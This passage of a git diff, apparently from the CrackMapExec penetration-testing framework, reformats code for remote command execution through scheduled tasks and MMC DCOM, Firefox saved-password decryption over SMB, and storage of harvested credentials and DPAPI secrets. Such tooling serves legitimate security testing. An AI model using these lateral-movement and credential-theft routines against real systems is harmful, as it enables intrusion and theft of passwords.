-iv disabled | cut -d ':' -f1") self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: diff --git a/cme/protocols/smb/atexec.py b/cme/protocols/smb/atexec.py index c97ea2f2..36d607a0 100755 --- a/cme/protocols/smb/atexec.py +++ b/cme/protocols/smb/atexec.py @@ -156,9 +156,7 @@ class TSCH_EXEC: logging.info(f"Task XML: {xml}") taskCreated = False logging.info(f"Creating task \\{tmpName}") - tsch.hSchRpcRegisterTask( - dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE - ) + tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True logging.info(f"Running task \\{tmpName}") @@ -184,24 +182,18 @@ class TSCH_EXEC: if fileless: while True: try: - with open( - os.path.join("/tmp", "cme_hosted", tmpFileName), "r" - ) as output: + with open(os.path.join("/tmp", "cme_hosted", tmpFileName), "r") as output: self.output_callback(output.read()) break except IOError: sleep(2) else: - peer = ":".join( - map(str, self.__rpctransport.get_socket().getpeername()) - ) + peer = ":".join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() while True: try: logging.info(f"Attempting to read ADMIN$\\Temp\\{tmpFileName}") - smbConnection.getFile( - "ADMIN$", f"Temp\\{tmpFileName}", self.output_callback - ) + smbConnection.getFile("ADMIN$", f"Temp\\{tmpFileName}", self.output_callback) break except Exception as e: if str(e).find("SHARING") > 0: diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py index 982e3ff2..d0a97e74 100755 --- a/cme/protocols/smb/database.py +++ b/cme/protocols/smb/database.py @@ -153,40 +153,17 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) - self.UsersTable = Table( - "users", self.metadata, autoload_with=self.db_engine - ) - self.GroupsTable = Table( - "groups", self.metadata, autoload_with=self.db_engine - ) - self.SharesTable = Table( - "shares", self.metadata, autoload_with=self.db_engine - ) - self.AdminRelationsTable = Table( - "admin_relations", self.metadata, autoload_with=self.db_engine - ) - self.GroupRelationsTable = Table( - "group_relations", self.metadata, autoload_with=self.db_engine - ) - self.LoggedinRelationsTable = Table( - "loggedin_relations", self.metadata, autoload_with=self.db_engine - ) - self.DpapiSecrets = Table( - "dpapi_secrets", self.metadata, autoload_with=self.db_engine - ) - self.DpapiBackupkey = Table( - "dpapi_backupkey", self.metadata, autoload_with=self.db_engine - ) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) + self.GroupsTable = Table("groups", self.metadata, autoload_with=self.db_engine) + self.SharesTable = Table("shares", self.metadata, autoload_with=self.db_engine) + self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) + self.GroupRelationsTable = Table("group_relations", self.metadata, autoload_with=self.db_engine) + self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine) + self.DpapiSecrets = Table("dpapi_secrets", self.metadata, autoload_with=self.db_engine) + self.DpapiBackupkey = Table("dpapi_backupkey", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): @@ -275,9 +252,7 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, set_=update_columns - ) + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.conn.execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted @@ -285,9 +260,7 @@ class database: cme_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids - def add_credential( - self, credtype, domain, username, password, group_id=None, pillaged_from=None - ): + def add_credential(self, credtype, domain, username, password, group_id=None, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ @@ -295,9 +268,7 @@ class database: credentials = [] groups = [] - if (group_id and not self.is_group_valid(group_id)) or ( - pillaged_from and not self.is_host_valid(pillaged_from) - ): + if (group_id and not self.is_group_valid(group_id)) or (pillaged_from and not self.is_host_valid(pillaged_from)): cme_logger.debug(f"Invalid group or host") return @@ -344,12 +315,8 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) - update_columns_users = { - col.name: col for col in q_users.excluded if col.name not in "id" - } - q_users = q_users.on_conflict_do_update( - index_elements=self.UsersTable.primary_key, set_=update_columns_users - ) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) cme_logger.debug(f"Adding credentials: {credentials}") self.conn.execute(q_users, credentials) # .scalar() @@ -408,13 +375,9 @@ class database: def get_admin_relations(self, user_id=None, host_id=None): if user_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -454,9 +417,7 @@ class database: # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.UsersTable).filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) @@ -477,15 +438,11 @@ class database: return results.id def is_credential_local(self, credential_id): - q = select(self.UsersTable.c.domain).filter( - self.UsersTable.c.id == credential_id - ) + q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id) user_domain = self.conn.execute(q).all() if user_domain: - q = select(self.HostsTable).filter( - func.lower(self.HostsTable.c.id) == func.lower(user_domain) - ) + q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain)) results = self.conn.execute(q).all() return len(results) > 0 @@ -531,10 +488,7 @@ class database: # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - self.HostsTable.c.ip.like(like_term) - | func.lower(self.HostsTable.c.hostname).like(like_term) - ) + q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) results = self.conn.execute(q).all() cme_logger.debug(f"smb hosts() - results: {results}") return results @@ -578,9 +532,7 @@ class database: q = Insert(self.GroupsTable) self.conn.execute(q, groups) - new_group_data = self.get_groups( - group_name=group_data["name"], group_domain=group_data["domain"] - ) + new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"]) returned_id = [new_group_data[0].id] cme_logger.debug(f"Inserted group with ID: {returned_id[0]}") return returned_id @@ -608,9 +560,7 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.GroupsTable) # .returning(self.GroupsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} - q = q.on_conflict_do_update( - index_elements=self.GroupsTable.primary_key, set_=update_columns - ) + q = q.on_conflict_do_update(index_elements=self.GroupsTable.primary_key, set_=update_columns) self.conn.execute(q, groups) # TODO: always return a list and fix code references to not expect a single integer @@ -648,9 +598,7 @@ class database: results = self.conn.execute(q).all() - cme_logger.debug( - f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}" - ) + cme_logger.debug(f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}") return results def get_group_relations(self, user_id=None, group_id=None): @@ -660,13 +608,9 @@ class database: self.GroupRelationsTable.c.groupid == group_id, ) elif user_id: - q = select(self.GroupRelationsTable).filter( - self.GroupRelationsTable.c.id == user_id - ) + q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.id == user_id) elif group_id: - q = select(self.GroupRelationsTable).filter( - self.GroupRelationsTable.c.groupid == group_id - ) + q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.groupid == group_id) results = self.conn.execute(q).all() return results @@ -730,9 +674,7 @@ class database: "write": write, } share_id = self.conn.execute( - Insert( - self.SharesTable - ).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id), + Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id), share_data, ) # .scalar_one() # return share_id @@ -762,9 +704,7 @@ class database: def get_users_with_share_access(self, host_id, share_name, permissions): permissions = permissions.lower() - q = select(self.SharesTable.c.userid).filter( - self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id - ) + q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id) if "r" in permissions: q = q.filter(self.SharesTable.c.read == 1) if "w" in permissions: @@ -779,9 +719,7 @@ class database: :domain is the domain fqdn :pvk is the domain backupkey """ - q = select(self.DpapiBackupkey).filter( - func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain) - ) + q = select(self.DpapiBackupkey).filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain)) results = self.conn.execute(q).all() if not len(results): @@ -792,9 +730,7 @@ class database: q = Insert(self.DpapiBackupkey) # .returning(self.DpapiBackupkey.c.id) self.conn.execute(q, [backup_key]) # .scalar() - cme_logger.debug( - f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})" - ) + cme_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") # return inserted_id except Exception as e: cme_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") @@ -812,10 +748,7 @@ class database: cme_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") if len(results) > 0: - results = [ - (id_key, domain, base64.b64decode(pvk)) - for id_key, domain, pvk in results - ] + results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] return results def is_dpapi_secret_valid(self, dpapi_secret_id): @@ -823,9 +756,7 @@ class database: Check if this group ID is valid. :dpapi_secret_id is a primary id """ - q = select(self.DpapiSecrets).filter( - func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id - ) + q = select(self.DpapiSecrets).filter(func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id) results = self.conn.execute(q).first() valid = True if results is not None else False cme_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") @@ -851,18 +782,14 @@ class database: "password": password, "url": url, } - q = Insert( - self.DpapiSecrets - ).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id) + q = Insert(self.DpapiSecrets).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id) self.conn.execute(q, [secret]) # .scalar() # inserted_result = res_inserted_result.first() # inserted_id = inserted_result.id - cme_logger.debug( - f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})" - ) + cme_logger.debug(f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") def get_dpapi_secrets( self, @@ -889,9 +816,7 @@ class database: # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif dpapi_type: - q = q.filter( - func.lower(self.DpapiSecrets.c.dpapi_type) == func.lower(dpapi_type) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.dpapi_type) == func.lower(dpapi_type)) elif windows_user: like_term = func.lower(f"%{windows_user}%") q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term)) @@ -902,9 +827,7 @@ class database: q = q.filter(func.lower(self.DpapiSecrets.c.url) == func.lower(url)) results = self.conn.execute(q).all() - cme_logger.debug( - f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}" - ) + cme_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") return results def add_loggedin_relation(self, user_id, host_id): @@ -920,23 +843,17 @@ class database: try: cme_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call - q = Insert( - self.LoggedinRelationsTable - ) # .returning(self.LoggedinRelationsTable.c.id) + q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.conn.execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(user_id, host_id) - cme_logger.debug( - f"Checking if relation was added: {inserted_id_results}" - ) + cme_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id except Exception as e: cme_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, user_id=None, host_id=None): - q = select( - self.LoggedinRelationsTable - ) # .returning(self.LoggedinRelationsTable.c.id) + q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py index c891d0af..5b96d573 100644 --- a/cme/protocols/smb/db_navigator.py +++ b/cme/protocols/smb/db_navigator.py @@ -51,9 +51,7 @@ class navigator(DatabaseNavigator): members = len(self.db.get_group_relations(group_id=group_id)) ad_members = group[4] last_query_time = group[5] - data.append( - [group_id, domain, name, rid, members, ad_members, last_query_time] - ) + data.append([group_id, domain, name, rid, members, ad_members, last_query_time]) print_table(data, title="Groups") # pull/545 @@ -126,12 +124,8 @@ class navigator(DatabaseNavigator): name = share[3] remark = share[4] - users_r_access = self.db.get_users_with_share_access( - host_id=host_id, share_name=name, permissions="r" - ) - users_w_access = self.db.get_users_with_share_access( - host_id=host_id, share_name=name, permissions="w" - ) + users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r") + users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w") data.append( [ share_id, @@ -165,12 +159,8 @@ class navigator(DatabaseNavigator): name = share[3] remark = share[4] - users_r_access = self.db.get_users_with_share_access( - host_id=host_id, share_name=name, permissions="r" - ) - users_w_access = self.db.get_users_with_share_access( - host_id=host_id, share_name=name, permissions="w" - ) + users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r") + users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w") data = [["ShareID", "Name", "Remark"], [share_id, name, remark]] print_table(data, title="Share") @@ -266,9 +256,7 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=userid) for cred in creds: - data.append( - [cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]] - ) + data.append([cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]]) print_table(data, title="Member(s)") def help_groups(self): @@ -644,13 +632,7 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you" - " want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you" " want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): diff --git a/cme/protocols/smb/firefox.py b/cme/protocols/smb/firefox.py index 9942ef97..bd889aa6 100644 --- a/cme/protocols/smb/firefox.py +++ b/cme/protocols/smb/firefox.py @@ -62,42 +62,24 @@ class FirefoxTriage: users = self.get_users() for user in users: try: - directories = self.conn.remote_list_dir( - share=self.share, path=self.firefox_generic_path.format(user) - ) + directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user)) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.debug(e) if directories is None: continue - for d in [ - d - for d in directories - if d.get_longname() not in self.false_positive and d.is_directory() > 0 - ]: + for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: - logins_path = ( - self.firefox_generic_path.format(user) - + "\\" - + d.get_longname() - + "\\logins.json" - ) + logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: continue # No logins.json file found logins = self.get_login_data(logins_data=logins_data) if len(logins) == 0: continue # No logins profile found - key4_path = ( - self.firefox_generic_path.format(user) - + "\\" - + d.get_longname() - + "\\key4.db" - ) - key4_data = self.conn.readFile( - self.share, key4_path, bypass_shared_violation=True - ) + key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" + key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True) if key4_data is None: continue key = self.get_key(key4_data=key4_data) @@ -109,12 +91,8 @@ class FirefoxTriage: if key is None: continue for username, pwd, host in logins: - decoded_username = self.decrypt( - key=key, iv=username[1], ciphertext=username[2] - ).decode("utf-8") - password = self.decrypt( - key=key, iv=pwd[1], ciphertext=pwd[2] - ).decode("utf-8") + decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8") + password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: firefox_data.append( FirefoxData( @@ -154,9 +132,7 @@ class FirefoxTriage: row = next(cursor) if row: - global_salt, master_password, _ = self.is_master_password_correct( - key_data=row, master_password=master_password - ) + global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password) if global_salt: try: cursor.execute("SELECT a11,a102 FROM nssPrivate;") @@ -167,9 +143,7 @@ class FirefoxTriage: a102 = row[1] if a102 == CKA_ID: decoded_a11 = decoder.decode(a11) - key = self.decrypt_3des( - decoded_a11, master_password, global_salt - ) + key = self.decrypt_3des(decoded_a11, master_password, global_salt) if key is not None: fh.close() return key[:24] @@ -185,9 +159,7 @@ class FirefoxTriage: global_salt = key_data[0] # Item1 item2 = key_data[1] decoded_item2 = decoder.decode(item2) - cleartext_data = self.decrypt_3des( - decoded_item2, master_password, global_salt - ) + cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) if cleartext_data != "password-check\x02\x02".encode(): return "", "", "" return global_salt, master_password, entry_salt @@ -199,9 +171,7 @@ class FirefoxTriage: users = list() users_dir_path = "Users\\*" - directories = self.conn.listPath( - shareName=self.share, path=ntpath.normpath(users_dir_path) - ) + directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: @@ -264,9 +234,7 @@ class FirefoxTriage: assert key_length == 32 k = sha1(global_salt + master_password).digest() - key = pbkdf2_hmac( - "sha256", k, entry_salt, iteration_count, dklen=key_length - ) + key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets() diff --git a/cme/protocols/smb/mmcexec.py b/cme/protocols/smb/mmcexec.py index 8ffb0d89..39b049ba 100644 --- a/cme/protocols/smb/mmcexec.py +++ b/cme/protocols/smb/mmcexec.py @@ -60,9 +60,7 @@ from impacket.dcerpc.v5.dtypes import NULL class MMCEXEC: - def __init__( - self, host, share_name, username, password, domain, smbconnection, hashes=None - ): + def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None): self.__host = host self.__username = username self.__password = password @@ -92,9 +90,7 @@ class MMCEXEC: oxidResolver=True, ) try: - iInterface = dcom.CoCreateInstanceEx( - string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch - ) + iInterface = dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(("Document",)) @@ -104,28 +100,14 @@ class MMCEXEC: dispParams["rgdispidNamedArgs"] = NULL dispParams["cArgs"] = 0 dispParams["cNamedArgs"] = 0 - resp = iMMC.Invoke( - resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [] - ) + resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) - iDocument = IDispatch( - self.getInterface( - iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"] - ) - ) + iDocument = IDispatch(self.getInterface(iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"])) resp = iDocument.GetIDsOfNames(("ActiveView",)) - resp = iDocument.Invoke( - resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [] - ) + resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) - iActiveView = IDispatch( - self.getInterface( - iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"] - ) - ) - pExecuteShellCommand = iActiveView.GetIDsOfNames(("ExecuteShellCommand",))[ - 0 - ] + iActiveView = IDispatch(self.getInterface(iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"])) + pExecuteShellCommand = iActiveView.GetIDsOfNames(("ExecuteShellCommand",))[0] pQuit = iMMC.GetIDsOfNames(("Quit",))[0] @@ -177,9 +159,7 @@ class MMCEXEC: dispParams["cArgs"] = 0 dispParams["cNamedArgs"] = 0 - self.__quit[0].Invoke( - self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [] - ) + self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) return True def execute_remote(self, data): @@ -188,11 +168,7 @@ class MMCEXEC: command = "/Q /c " + data if self.__retOutput is True: - command += ( - " 1> " - + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" - + " 2>&1" - ) + command += " 1> " + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" + " 2>&1" dispParams = DISPPARAMS(None, False) dispParams["rgdispidNamedArgs"] = NULL @@ -226,9 +202,7 @@ class MMCEXEC: dispParams["rgvarg"].append(arg1) dispParams["rgvarg"].append(arg0) - self.__executeShellCommand[0].Invoke( - self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [] - ) + self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) self.get_output_fileless() def output_callback(self, data): @@ -240,9 +214,7 @@ class MMCEXEC: while True: try: - with open( - path_join("/tmp", "cme_hosted", self.__output), "r" - ) as output: + with open(path_join("/tmp", "cme_hosted", self.__output), "r") as output: self.output_callback(output.read()) break except IOError: diff --git a/cme/protocols/smb/passpol.py b/cme/protocols/smb/passpol.py index ea8bf592..e97f3e9c 100644 --- a/cme/protocols/smb/passpol.py +++ b/cme/protocols/smb/passpol.py @@ -72,11 +72,7 @@ class PassPolDump: def __init__(self, connection): self.logger = cme_logger - self.addr = ( - connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain - ) + self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password @@ -176,9 +172,7 @@ class PassPolDump: domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, ) self.__min_pass_len = re["Buffer"]["Password"]["MinPasswordLength"] or "None" - self.__pass_hist_len = ( - re["Buffer"]["Password"]["PasswordHistoryLength"] or "None" - ) + self.__pass_hist_len = re["Buffer"]["Password"]["PasswordHistoryLength"] or "None" self.__max_pass_age = convert( int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), int(re["Buffer"]["Password"]["MaxPasswordAge"]["HighPart"]), @@ -194,12 +188,8 @@ class PassPolDump: domainHandle=domainHandle, domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation, ) - self.__rst_accnt_lock_counter = convert( - 0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True - ) - self.__lock_accnt_dur = convert( - 0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True - ) + self.__rst_accnt_lock_counter = convert(0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True) + self.__lock_accnt_dur = convert(0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True) self.__accnt_lock_thres = re["Buffer"]["Lockout"]["LockoutThreshold"] or "None" re = samr.hSamrQueryInformationDomain2( @@ -240,26 +230,20 @@ class PassPolDump: for domain in self.__domains: cme_logger.debug(f"{domain['Name']}") - self.logger.success( - f"Dumping password info for domain: {self.__domains[0]['Name']}" - ) + self.logger.success(f"Dumping password info for domain: {self.__domains[0]['Name']}") self.logger.highlight(f"Minimum password length: {self.__min_pass_len}") self.logger.highlight(f"Password history length: {self.__pass_hist_len}") self.logger.highlight(f"Maximum password age: {self.__max_pass_age}") self.logger.highlight("") - self.logger.highlight( - f"Password Complexity Flags: {self.__pass_prop or 'None'}" - ) + self.logger.highlight(f"Password Complexity Flags: {self.__pass_prop or 'None'}") for i, a in enumerate(self.__pass_prop): self.logger.highlight(f"\t{PASSCOMPLEX[i]} {str(a)}") self.logger.highlight("") self.logger.highlight(f"Minimum password age: {self.__min_pass_age}") - self.logger.highlight( - f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}" - ) + self.logger.highlight(f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}") self.logger.highlight(f"Locked Account Duration: {self.__lock_accnt_dur}") self.logger.highlight(f"Account Lockout Threshold: {self.__accnt_lock_thres}") self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}") diff --git a/cme/protocols/smb/remotefile.py b/cme/protocols/smb/remotefile.py index 8d85d54a..370ccfa0 100644 --- a/cme/protocols/smb/remotefile.py +++ b/cme/protocols/smb/remotefile.py @@ -20,9 +20,7 @@ class RemoteFile: self.__currentOffset = 0 def open(self): - self.__fid = self.__smbConnection.openFile( - self.__tid, self.__fileName, desiredAccess=self.__access - ) + self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=self.__access) def seek(self, offset, whence): # Implement whence, for now it's always from the beginning of the file @@ -31,9 +29,7 @@ class RemoteFile: def read(self, bytesToRead): if bytesToRead > 0: - data = self.__smbConnection.readFile( - self.__tid, self.__fid, self.__currentOffset, bytesToRead - ) + data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) self.__currentOffset += len(data) return data return "" diff --git a/cme/protocols/smb/samrfunc.py b/cme/protocols/smb/samrfunc.py index 8ba8a910..cfa84f7e 100644 --- a/cme/protocols/smb/samrfunc.py +++ b/cme/protocols/smb/samrfunc.py @@ -17,11 +17,7 @@ from cme.logger import cme_logger class SamrFunc: def __init__(self, connection): self.logger = cme_logger - self.addr = ( - connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain - ) + self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password @@ -90,14 +86,10 @@ class SamrFunc: def get_local_administrators(self): self.get_builtin_groups() if "Administrators" in self.groups: - self.logger.success( - f"Found Local Administrators group: RID {self.groups['Administrators']}" - ) + self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}") domain_handle = self.samr_query.get_domain_handle("Builtin") self.logger.debug(f"Querying group members") - member_sids = self.samr_query.get_alias_members( - domain_handle, self.groups["Administrators"] - ) + member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"]) member_names = self.lsa_query.lookup_sids(member_sids) for sid, name in zip(member_sids, member_names): @@ -181,12 +173,8 @@ class SAMRQuery: return domain_names def get_domain_handle(self, domain_name): - resp = samr.hSamrLookupDomainInSamServer( - self.dce, self.server_handle, domain_name - ) - resp = samr.hSamrOpenDomain( - self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"] - ) + resp = samr.hSamrLookupDomainInSamServer(self.dce, self.server_handle, domain_name) + resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"]) return resp["DomainHandle"] def get_domain_aliases(self, domain_handle): @@ -197,9 +185,7 @@ class SAMRQuery: return aliases def get_alias_handle(self, domain_handle, alias_id): - resp = samr.hSamrOpenAlias( - self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id - ) + resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id) return resp["AliasHandle"] def get_alias_members(self, domain_handle, alias_id): @@ -269,15 +255,11 @@ class LSAQuery: return dce def get_policy_handle(self): - resp = lsad.hLsarOpenPolicy2( - self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES - ) + resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) return resp["PolicyHandle"] def lookup_sids(self, sids): - resp = lsat.hLsarLookupSids( - self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta - ) + resp = 